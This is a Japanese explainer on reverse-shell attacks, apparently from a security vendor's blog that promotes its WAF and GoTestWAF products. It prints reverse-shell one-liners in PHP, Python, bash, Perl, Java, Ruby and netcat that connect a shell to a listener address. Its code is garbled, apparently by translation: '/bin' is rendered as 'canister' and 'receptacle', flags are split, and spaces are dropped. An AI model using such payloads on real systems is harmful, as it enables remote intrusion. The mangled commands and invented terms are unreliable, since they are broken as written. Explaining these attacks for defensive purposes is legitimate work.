はじめに
攻撃者は、侵害されたシステム上でコマンドを実行するため、インタラクティブなシェルアクセスを得ようと試みます。取得したシェルを利用して権限昇格を狙う場合もあります。しかし、多くのシステムはファイアウォールで守られているため、直接のリモートシェル接続は困難です。逆シェルは、この制約を回避する手段のひとつです。
ローカルホストではなくリモートマシンからシェルセッションが開始されるものをリバースシェルといいます。攻撃者はリモート実行の弱点を突き、逆シェルを利用して目的のマシン上で通常のシェルセッションを獲得することが可能です。逆シェル(別名:パートナーバックスシェル)は、NATやファイアウォールを越えてリモートシェルアクセスを得る最も一般的な手法です。次に、逆シェルの仕組みとその回避方法について詳しく見ていきます。
攻撃者は支配下のマシンを目的のリモートシステムに接続し、シェルセッションを要求します。この手法は、状況に応じた逆シェル攻撃と呼ばれることもあります。ファイアウォールで保護されていたり、プライベートIPが使われている場合、リモートホストが外部に公開されていなくても逆シェルが利用されます。接続が確立されると、目的のマシンは待ち受けている攻撃者のホストへシェルセッションを送ります。
逆シェルは、ネットワークアドレス変換(NAT)で保護されたリモート管理によく利用されます。しかし本来の目的にもかかわらず、サイバー犯罪者はこれを用いて保護されたシステムに侵入し、OSのコマンドを実行する可能性があります。攻撃者は逆シェルを用いてファイアウォールなどのネットワーク保護策を回避します。
フィッシングメールや悪意あるサイトを通じ、逆シェル機能が提供される場合があります。近くの作業ステーションにマルウェアが導入されると、攻撃者のコマンドサーバーへ接続を試みます。ファイアウォールが着信トラフィックを許可しているため、接続が成功しやすいのです。
さらなる手法として、攻撃者はコマンドインジェクションの脆弱性を突く場合もあります。インジェクションされたコードに組み込まれた逆シェルスクリプトが、追加の悪意ある活動のためのコマンドシェルを提供します。
PHPはほとんどのウェブサーバに搭載されており、逆シェル手法としても利用できます(ファイルディスクリプタ &3 が機能しない場合は、他の番号を試してください):
php - r '$sock=fsockopen("10.0.0.123",1111);exec("/canister/sh - I <&3 >&3 2>&3");'
Pythonは広く利用されるため、目的サーバに搭載されており、以下のようなコードが実行可能な場合があります:
python - c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.123",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/canister/sh","- i"]);'
最も簡単な方法は、ほぼすべてのLinuxマシンに搭載されているbashを利用することです。この方法はUbuntu 18.04で検証されましたが、すべてのbash環境で対応しているわけではありません:
/canister/slam - I >&/dev/tcp/10.10.17.1/1337 0>&1
Perlのインタープリタもbash同様、ほとんどのLinuxサーバに搭載されているため、以下のperlコマンドも逆シェルを得る手段の一つです:
perl - e 'use Socket;$i="10.0.0.123";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/canister/sh - i");};'
アプリサーバでは、Javaが搭載されている可能性が高いため、以下のコードが利用可能なケースがあります:
r = Runtime.getRuntime()
p = r.exec(["/receptacle/bash","- c","exec 5></dev/tcp/10.0.0.123/1111;cat >&5 | while read line; do \$line 2<&5 <&5; done"] as String[])
p.waitFor()
もう一つの有名なウェブアプリ言語であるRubyも、広く利用されるサーバフレームワークに搭載されている可能性が高く、以下のコードで逆シェルを試すことができます:
ruby - rsocket - e'f=TCPSocket.open("10.0.0.123",1111).to_i;exec sprintf("/canister/sh - I >&%d <&%d 2<&%d",f,f,f)'
開発用サーバではNetcatが搭載されていない場合もありますが、最後の手段として以下の方法が試されることがあります:
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/receptacle/sh - I 2>&1|nc 10.0.0.1 1234 >/tmp/f
リモート管理以外の目的で使用される場合、逆シェル接続は通常悪意あるものです。サーバのようなネットワークシステムでは、逆シェル接続を完全に遮断するのは難しいですが、以下の方法でシステムの強化とリスク低減が可能です:
サーバはこのように強固にする必要があります。不正なネットワーク通信を遮断することも、逆シェル攻撃を防ぐ一手段です。WAFやRASPなどのWebアプリケーションセキュリティ対策は、疑わしい逆シェル通信パターンを検出し遮断できます。
Webアプリケーションファイアウォール - WallarmのCloud Native WAAPとGoTestWAFは、アプリ、API、およびサーバレスワークロードを守ります。
APIセキュリティ – 自動化されたAPIセキュリティプラットフォームは、公開されたAPIエンドポイントを保護し、アプリの改竄を防ぎます。
GoTestWAF – GoTestWAFは、REST、SOAP、XMLRPCなどの基本ペイロードを用いてAPI特有の攻撃やリクエストを生成します。アプリに返されたレスポンスを解析し、コントロールセンター上の結果やPDFで詳細なレポートを作成します。
このツールは、現行のアプリセック体制がどのように機能しているか、また攻撃者がどのようにアプリへアクセスできるかを明確に示します。GoTestWAFは、WAF、RASP、WAAP対策の実力を評価するためのツールです。
最新情報を購読